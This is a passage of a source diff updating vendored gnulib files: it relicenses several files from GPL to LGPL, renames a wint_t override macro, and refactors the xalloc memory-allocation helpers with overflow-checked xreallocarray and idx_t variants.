+@@ -2,18 +2,18 @@
+
+ Copyright (C) 2006-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible and Paul Eggert. */
+
+@@ -103,7 +103,7 @@ _GL_INLINE_HEADER_BEGIN
+ /* mingw and MSVC define wint_t as 'unsigned short' in <crtdefs.h> or
+ <stddef.h>. This is too small: ISO C 99 section 7.24.1.(2) says that
+ wint_t must be "unchanged by default argument promotions". Override it. */
+-# if @GNULIB_OVERRIDES_WINT_T@
++# if @GNULIBHEADERS_OVERRIDE_WINT_T@
+ # if !GNULIB_defined_wint_t
+ # if @HAVE_CRTDEFS_H@
+ # include <crtdefs.h>
+@@ -132,7 +132,7 @@ typedef unsigned int rpl_wint_t;
+ same way, or not at all. */
+ # if ! @HAVE_ISWCNTRL@ || @REPLACE_ISWCNTRL@
+
+-# if @GNULIB_OVERRIDES_WINT_T@ /* implies @REPLACE_ISWCNTRL@ */
++# if @GNULIBHEADERS_OVERRIDE_WINT_T@ /* implies @REPLACE_ISWCNTRL@ */
+
+ _GL_WCTYPE_INLINE int
+ rpl_iswalnum (wint_t wc)
+@@ -496,7 +496,7 @@ _GL_FUNCDECL_RPL (iswxdigit, int, (wint_
+
+ # endif
+
+-# if defined __MINGW32__ && !@GNULIB_OVERRIDES_WINT_T@
++# if defined __MINGW32__ && !@GNULIBHEADERS_OVERRIDE_WINT_T@
+
+ /* On native Windows, wchar_t is uint16_t, and wint_t is uint32_t.
+ The functions towlower and towupper are implemented in the MSVCRT library
+@@ -529,7 +529,7 @@ rpl_towupper (wint_t wc)
+ # define towupper rpl_towupper
+ # endif
+
+-# endif /* __MINGW32__ && !@GNULIB_OVERRIDES_WINT_T@ */
++# endif /* __MINGW32__ && !@GNULIBHEADERS_OVERRIDE_WINT_T@ */
+
+ # define GNULIB_defined_wctype_functions 1
+ #endif
+@@ -646,7 +646,7 @@ _GL_WARN_ON_USE (wctype, "wctype is unpo
+ The argument WC must be either a wchar_t value or WEOF.
+ The argument DESC must have been returned by the wctype() function. */
+ #if @GNULIB_ISWCTYPE@
+-# if @GNULIB_OVERRIDES_WINT_T@
++# if @GNULIBHEADERS_OVERRIDE_WINT_T@
+ # if !(defined __cplusplus && defined GNULIB_NAMESPACE)
+ # undef iswctype
+ # define iswctype rpl_iswctype
+--- a/gnulib/lib/wcwidth.c
++++ b/gnulib/lib/wcwidth.c
+@@ -1,17 +1,17 @@
+ /* Determine the number of screen columns needed for a character.
+ Copyright (C) 2006-2007, 2010-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/windows-initguard.h
++++ b/gnulib/lib/windows-initguard.h
+@@ -1,18 +1,18 @@
+ /* Init guards, somewhat like spinlocks (native Windows implementation).
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-win32.h. */
+--- a/gnulib/lib/windows-mutex.c
++++ b/gnulib/lib/windows-mutex.c
+@@ -1,18 +1,18 @@
+ /* Plain mutexes (native Windows implementation).
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-win32.h. */
+--- a/gnulib/lib/windows-mutex.h
++++ b/gnulib/lib/windows-mutex.h
+@@ -1,18 +1,18 @@
+ /* Plain mutexes (native Windows implementation).
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-win32.h. */
+--- a/gnulib/lib/windows-once.c
++++ b/gnulib/lib/windows-once.c
+@@ -1,18 +1,18 @@
+ /* Once-only control (native Windows implementation).
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-win32.h. */
+--- a/gnulib/lib/windows-once.h
++++ b/gnulib/lib/windows-once.h
+@@ -1,18 +1,18 @@
+ /* Once-only control (native Windows implementation).
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-win32.h. */
+--- a/gnulib/lib/windows-recmutex.c
++++ b/gnulib/lib/windows-recmutex.c
+@@ -1,18 +1,18 @@
+ /* Plain recursive mutexes (native Windows implementation).
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-win32.h. */
+--- a/gnulib/lib/windows-recmutex.h
++++ b/gnulib/lib/windows-recmutex.h
+@@ -1,18 +1,18 @@
+ /* Plain recursive mutexes (native Windows implementation).
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-win32.h. */
+--- a/gnulib/lib/windows-rwlock.c
++++ b/gnulib/lib/windows-rwlock.c
+@@ -1,18 +1,18 @@
+ /* Read-write locks (native Windows implementation).
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-win32.h. */
+--- a/gnulib/lib/windows-rwlock.h
++++ b/gnulib/lib/windows-rwlock.h
+@@ -1,18 +1,18 @@
+ /* Read-write locks (native Windows implementation).
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-win32.h. */
+--- a/gnulib/lib/xalloc-oversized.h
++++ b/gnulib/lib/xalloc-oversized.h
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 1990-2000, 2003-2004, 2006-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef XALLOC_OVERSIZED_H_
+@@ -21,34 +21,39 @@
+ #include <stddef.h>
+ #include <stdint.h>
+
+-/* True if N * S would overflow in a size_t calculation,
+- or would generate a value larger than PTRDIFF_MAX.
++/* True if N * S does not fit into both ptrdiff_t and size_t.
++ N and S should be nonnegative and free of side effects.
+ This expands to a constant expression if N and S are both constants.
+- By gnulib convention, SIZE_MAX represents overflow in size
++ By gnulib convention, SIZE_MAX represents overflow in size_t
+ calculations, so the conservative size_t-based dividend to use here
+ is SIZE_MAX - 1. */
+ #define __xalloc_oversized(n, s) \
+- ((size_t) (PTRDIFF_MAX < SIZE_MAX ? PTRDIFF_MAX : SIZE_MAX - 1) / (s) < (n))
+-
+-#if PTRDIFF_MAX < SIZE_MAX
+-typedef ptrdiff_t __xalloc_count_type;
+-#else
+-typedef size_t __xalloc_count_type;
+-#endif
+-
+-/* Return 1 if an array of N objects, each of size S, cannot exist
+- reliably due to size or ptrdiff_t arithmetic overflow. S must be
+- positive and N must be nonnegative. This is a macro, not a
+- function, so that it works correctly even when SIZE_MAX < N. */
+-
+-#if 7 <= __GNUC__ && !defined __clang__
++ ((s) != 0 \
++ && ((size_t) (PTRDIFF_MAX < SIZE_MAX ? PTRDIFF_MAX : SIZE_MAX - 1) / (s) \
++ < (n)))
++
++/* Return 1 if and only if an array of N objects, each of size S,
++ cannot exist reliably because its total size in bytes would exceed
++ MIN (PTRDIFF_MAX, SIZE_MAX - 1).
++
++ N and S should be nonnegative and free of side effects.
++
++ Warning: (xalloc_oversized (N, S) ? NULL : malloc (N * S)) can
++ misbehave if N and S are both narrower than ptrdiff_t and size_t,
++ and can be rewritten as (xalloc_oversized (N, S) ? NULL
++ : malloc (N * (size_t) S)).
++
++ This is a macro, not a function, so that it works even if an
++ argument exceeds MAX (PTRDIFF_MAX, SIZE_MAX). */
++#if 7 <= __GNUC__ && !defined __clang__ && PTRDIFF_MAX < SIZE_MAX
+ # define xalloc_oversized(n, s) \
+- __builtin_mul_overflow_p (n, s, (__xalloc_count_type) 1)
+-#elif 5 <= __GNUC__ && !defined __ICC && !__STRICT_ANSI__
++ __builtin_mul_overflow_p (n, s, (ptrdiff_t) 1)
++#elif (5 <= __GNUC__ && !defined __ICC && !__STRICT_ANSI__ \
++ && PTRDIFF_MAX < SIZE_MAX)
+ # define xalloc_oversized(n, s) \
+ (__builtin_constant_p (n) && __builtin_constant_p (s) \
+ ? __xalloc_oversized (n, s) \
+- : ({ __xalloc_count_type __xalloc_count; \
++ : ({ ptrdiff_t __xalloc_count; \
+ __builtin_mul_overflow (n, s, &__xalloc_count); }))
+
+ /* Other compilers use integer division; this may be slower but is
+--- a/gnulib/lib/xalloc.h
++++ b/gnulib/lib/xalloc.h
+@@ -21,7 +21,10 @@
+ #include <stddef.h>
+ #include <stdint.h>
+
+-#include "xalloc-oversized.h"
++#if GNULIB_XALLOC
++# include "idx.h"
++# include "intprops.h"
++#endif
+
+ #ifndef _GL_INLINE_HEADER_BEGIN
+ #error "Please include config.h first."
+@@ -50,17 +53,26 @@ extern "C" {
+
+ #if GNULIB_XALLOC
+
+-void *xmalloc (size_t s)
+- _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1));
+-void *xzalloc (size_t s)
+- _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1));
++void *xmalloc (size_t s) _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1));
++void *ximalloc (idx_t s) _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1));
++void *xzalloc (size_t s) _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1));
++void *xizalloc (idx_t s) _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1));
+ void *xcalloc (size_t n, size_t s)
+- _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1, 2));
+-void *xrealloc (void *p, size_t s)
+- _GL_ATTRIBUTE_ALLOC_SIZE ((2));
+-void *x2realloc (void *p, size_t *pn);
+-void *xmemdup (void const *p, size_t s)
+- _GL_ATTRIBUTE_ALLOC_SIZE ((2));
++ _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1, 2));
++void *xicalloc (idx_t n, idx_t s)
++ _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1, 2));
++void *xrealloc (void *p, size_t s) _GL_ATTRIBUTE_ALLOC_SIZE ((2));
++void *xirealloc (void *p, idx_t s) _GL_ATTRIBUTE_ALLOC_SIZE ((2));
++void *xreallocarray (void *p, size_t n, size_t s)
++ _GL_ATTRIBUTE_ALLOC_SIZE ((2, 3));
++void *xireallocarray (void *p, idx_t n, idx_t s)
++ _GL_ATTRIBUTE_ALLOC_SIZE ((2, 3));
++void *x2realloc (void *p, size_t *ps); /* superseded by xpalloc */
++void *x2nrealloc (void *p, size_t *pn, size_t s); /* superseded by xpalloc */
++void *xpalloc (void *pa, idx_t *pn, idx_t n_incr_min, ptrdiff_t n_max, idx_t s);
++void *xmemdup (void const *p, size_t s) _GL_ATTRIBUTE_ALLOC_SIZE ((2));
++void *ximemdup (void const *p, idx_t s) _GL_ATTRIBUTE_ALLOC_SIZE ((2));
++char *ximemdup0 (void const *p, idx_t s) _GL_ATTRIBUTE_MALLOC;
+ char *xstrdup (char const *str)
+ _GL_ATTRIBUTE_MALLOC;
+
+@@ -98,11 +110,10 @@ XALLOC_INLINE void *xnmalloc (size_t n,
+ XALLOC_INLINE void *
+ xnmalloc (size_t n, size_t s)
+ {
+- if (xalloc_oversized (n, s))
+- xalloc_die ();
+- return xmalloc (n * s);
++ return xreallocarray (NULL, n, s);
+ }
+
++/* FIXME: Deprecate this in favor of xreallocarray? */
+ /* Change the size of an allocated block of memory P to an array of N
+ objects each of S bytes, with error checking. S must be nonzero. */
+
+@@ -111,100 +122,7 @@ XALLOC_INLINE void *xnrealloc (void *p,
+ XALLOC_INLINE void *
+ xnrealloc (void *p, size_t n, size_t s)
+ {
+- if (xalloc_oversized (n, s))
+- xalloc_die ();
+- return xrealloc (p, n * s);
+-}
+-
+-/* If P is null, allocate a block of at least *PN such objects;
+- otherwise, reallocate P so that it contains more than *PN objects
+- each of S bytes. S must be nonzero. Set *PN to the new number of
+- objects, and return the pointer to the new block. *PN is never set
+- to zero, and the returned pointer is never null.
+-
+- Repeated reallocations are guaranteed to make progress, either by
+- allocating an initial block with a nonzero size, or by allocating a
+- larger block.
+-
+- In the following implementation, nonzero sizes are increased by a
+- factor of approximately 1.5 so that repeated reallocations have
+- O(N) overall cost rather than O(N**2) cost, but the
+- specification for this function does not guarantee that rate.
+-
+- Here is an example of use:
+-
+- int *p = NULL;
+- size_t used = 0;
+- size_t allocated = 0;
+-
+- void
+- append_int (int value)
+- {
+- if (used == allocated)
+- p = x2nrealloc (p, &allocated, sizeof *p);
+- p[used++] = value;
+- }
+-
+- This causes x2nrealloc to allocate a block of some nonzero size the
+- first time it is called.
+-
+- To have finer-grained control over the initial size, set *PN to a
+- nonzero value before calling this function with P == NULL. For
+- example:
+-
+- int *p = NULL;
+- size_t used = 0;
+- size_t allocated = 0;
+- size_t allocated1 = 1000;
+-
+- void
+- append_int (int value)
+- {
+- if (used == allocated)
+- {
+- p = x2nrealloc (p, &allocated1, sizeof *p);
+- allocated = allocated1;
+- }
+- p[used++] = value;
+- }
+-
+- */
+-
+-XALLOC_INLINE void *
+-x2nrealloc (void *p, size_t *pn, size_t s)
+-{
+- size_t n = *pn;
+-
+- if (! p)
+- {
+- if (! n)
+- {
+- /* The approximate size to use for initial small allocation
+- requests, when the invoking code specifies an old size of
+- zero. This is the largest "small" request for the GNU C
+- library malloc. */
+- enum { DEFAULT_MXFAST = 64 * sizeof (size_t) / 4 };
+-
+- n = DEFAULT_MXFAST / s;
+- n += !n;
+- }
+- if (xalloc_oversized (n, s))
+- xalloc_die ();
+- }
+- else
+- {
+- /* Set N = floor (1.5 * N) + 1 so that progress is made even if N == 0.
+- Check for overflow, so that N * S stays in both ptrdiff_t and
+- size_t range. The check may be slightly conservative, but an
+- exact check isn't worth the trouble. */
+- if ((PTRDIFF_MAX < SIZE_MAX ? PTRDIFF_MAX : SIZE_MAX) / 3 * 2 / s
+- <= n)
+- xalloc_die ();
+- n += n / 2 + 1;
+- }
+-
+- *pn = n;
+- return xrealloc (p, n * s);
++ return xreallocarray (p, n, s);
+ }
+
+ /* Return a pointer to a new buffer of N bytes. This is like xmalloc,
+@@ -239,9 +157,16 @@ xrealloc (T *p, size_t s)
+ }
+
+ template <typename T> inline T *
++xreallocarray (T *p, size_t n, size_t s)
++{
++ return (T *) xreallocarray ((void *) p, n, s);
++}
++
++/* FIXME: Deprecate this in favor of xreallocarray? */
++template <typename T> inline T *
+ xnrealloc (T *p, size_t n, size_t s)
+ {
+- return (T *) xnrealloc ((void *) p, n, s);
++ return xreallocarray (p, n, s);
+ }
+
+ template <typename T> inline T *
+--- a/gnulib/lib/xmalloc.c
++++ b/gnulib/lib/xmalloc.c
+@@ -21,80 +21,250 @@
+
+ #include "xalloc.h"
+
++#include "ialloc.h"
++#include "intprops.h"
++#include "minmax.h"
++
+ #include <stdlib.h>
+ #include <string.h>
+
+-/* 1 if calloc, malloc and realloc are known to be compatible with GNU.
+- This matters if we are not also using the calloc-gnu, malloc-gnu
+- and realloc-gnu modules, which define HAVE_CALLOC_GNU,
+- HAVE_MALLOC_GNU and HAVE_REALLOC_GNU and support the GNU API even
+- on non-GNU platforms. */
+-#if defined HAVE_CALLOC_GNU || (defined __GLIBC__ && !defined __UCLIBC__)
+-enum { HAVE_GNU_CALLOC = 1 };
+-#else
+-enum { HAVE_GNU_CALLOC = 0 };
+-#endif
+-#if defined HAVE_MALLOC_GNU || (defined __GLIBC__ && !defined __UCLIBC__)
+-enum { HAVE_GNU_MALLOC = 1 };
+-#else
+-enum { HAVE_GNU_MALLOC = 0 };
+-#endif
+-#if defined HAVE_REALLOC_GNU || (defined __GLIBC__ && !defined __UCLIBC__)
+-enum { HAVE_GNU_REALLOC = 1 };
+-#else
+-enum { HAVE_GNU_REALLOC = 0 };
+-#endif
++static void * _GL_ATTRIBUTE_PURE
++nonnull (void *p)
++{
++ if (!p)
++ xalloc_die ();
++ return p;
++}
+
+-/* Allocate N bytes of memory dynamically, with error checking. */
++/* Allocate S bytes of memory dynamically, with error checking. */
+
+ void *
+-xmalloc (size_t n)
++xmalloc (size_t s)
+ {
+- void *p = malloc (n);
+- if (!p && (HAVE_GNU_MALLOC || n))
+- xalloc_die ();
+- return p;
++ return nonnull (malloc (s));
++}
++
++void *
++ximalloc (idx_t s)
++{
++ return nonnull (imalloc (s));
+ }
+
+-/* Change the size of an allocated block of memory P to N bytes,
++/* Change the size of an allocated block of memory P to S bytes,
+ with error checking. */
+
+ void *
+-xrealloc (void *p, size_t n)
++xrealloc (void *p, size_t s)
+ {
+- if (!HAVE_GNU_REALLOC && !n && p)
+- {
+- /* The GNU and C99 realloc behaviors disagree here. Act like GNU. */
+- free (p);
+- return NULL;
+- }
++ void *r = realloc (p, s);
++ if (!r && (!p || s))
++ xalloc_die ();
++ return r;
++}
++
++void *
++xirealloc (void *p, idx_t s)
++{
++ return nonnull (irealloc (p, s));
++}
++
++/* Change the size of an allocated block of memory P to an array of N
++ objects each of S bytes, with error checking. */
+
+- void *r = realloc (p, n);
+- if (!r && (n || (HAVE_GNU_REALLOC && !p)))
++void *
++xreallocarray (void *p, size_t n, size_t s)
++{
++ void *r = reallocarray (p, n, s);
++ if (!r && (!p || (n && s)))
+ xalloc_die ();
+ return r;
+ }
+
+-/* If P is null, allocate a block of at least *PN bytes; otherwise,
+- reallocate P so that it contains more than *PN bytes. *PN must be
+- nonzero unless P is null. Set *PN to the new block's size, and
+- return the pointer to the new block. *PN is never set to zero, and
++void *
++xireallocarray (void *p, idx_t n, idx_t s)
++{
++ return nonnull (ireallocarray (p, n, s));
++}
++
++/* If P is null, allocate a block of at least *PS bytes; otherwise,
++ reallocate P so that it contains more than *PS bytes. *PS must be
++ nonzero unless P is null. Set *PS to the new block's size, and
++ return the pointer to the new block. *PS is never set to zero, and
+ the returned pointer is never null. */
+
+ void *
+-x2realloc (void *p, size_t *pn)
++x2realloc (void *p, size_t *ps)
++{
++ return x2nrealloc (p, ps, 1);
++}
++
++/* If P is null, allocate a block of at least *PN such objects;
++ otherwise, reallocate P so that it contains more than *PN objects
++ each of S bytes. S must be nonzero. Set *PN to the new number of
++ objects, and return the pointer to the new block. *PN is never set
++ to zero, and the returned pointer is never null.
++
++ Repeated reallocations are guaranteed to make progress, either by
++ allocating an initial block with a nonzero size, or by allocating a
++ larger block.
++
++ In the following implementation, nonzero sizes are increased by a
++ factor of approximately 1.5 so that repeated reallocations have
++ O(N) overall cost rather than O(N**2) cost, but the
++ specification for this function does not guarantee that rate.
++
++ Here is an example of use:
++
++ int *p = NULL;
++ size_t used = 0;
++ size_t allocated = 0;
++
++ void
++ append_int (int value)
++ {
++ if (used == allocated)
++ p = x2nrealloc (p, &allocated, sizeof *p);
++ p[used++] = value;
++ }
++
++ This causes x2nrealloc to allocate a block of some nonzero size the
++ first time it is called.
++
++ To have finer-grained control over the initial size, set *PN to a
++ nonzero value before calling this function with P == NULL. For
++ example:
++
++ int *p = NULL;
++ size_t used = 0;
++ size_t allocated = 0;
++ size_t allocated1 = 1000;
++
++ void
++ append_int (int value)
++ {
++ if (used == allocated)
++ {
++ p = x2nrealloc (p, &allocated1, sizeof *p);
++ allocated = allocated1;
++ }
++ p[used++] = value;
++ }
++
++ */
++
++void *
++x2nrealloc (void *p, size_t *pn, size_t s)
+ {
+- return x2nrealloc (p, pn, 1);
++ size_t n = *pn;
++
++ if (! p)
++ {
++ if (! n)
++ {
++ /* The approximate size to use for initial small allocation
++ requests, when the invoking code specifies an old size of
++ zero. This is the largest "small" request for the GNU C
++ library malloc. */
++ enum { DEFAULT_MXFAST = 64 * sizeof (size_t) / 4 };
++
++ n = DEFAULT_MXFAST / s;
++ n += !n;
++ }
++ }
++ else
++ {
++ /* Set N = floor (1.5 * N) + 1 to make progress even if N == 0. */
++ if (INT_ADD_WRAPV (n, (n >> 1) + 1, &n))
++ xalloc_die ();
++ }
++
++ p = xreallocarray (p, n, s);
++ *pn = n;
++ return p;
+ }
+
+-/* Allocate N bytes of zeroed memory dynamically, with error checking.
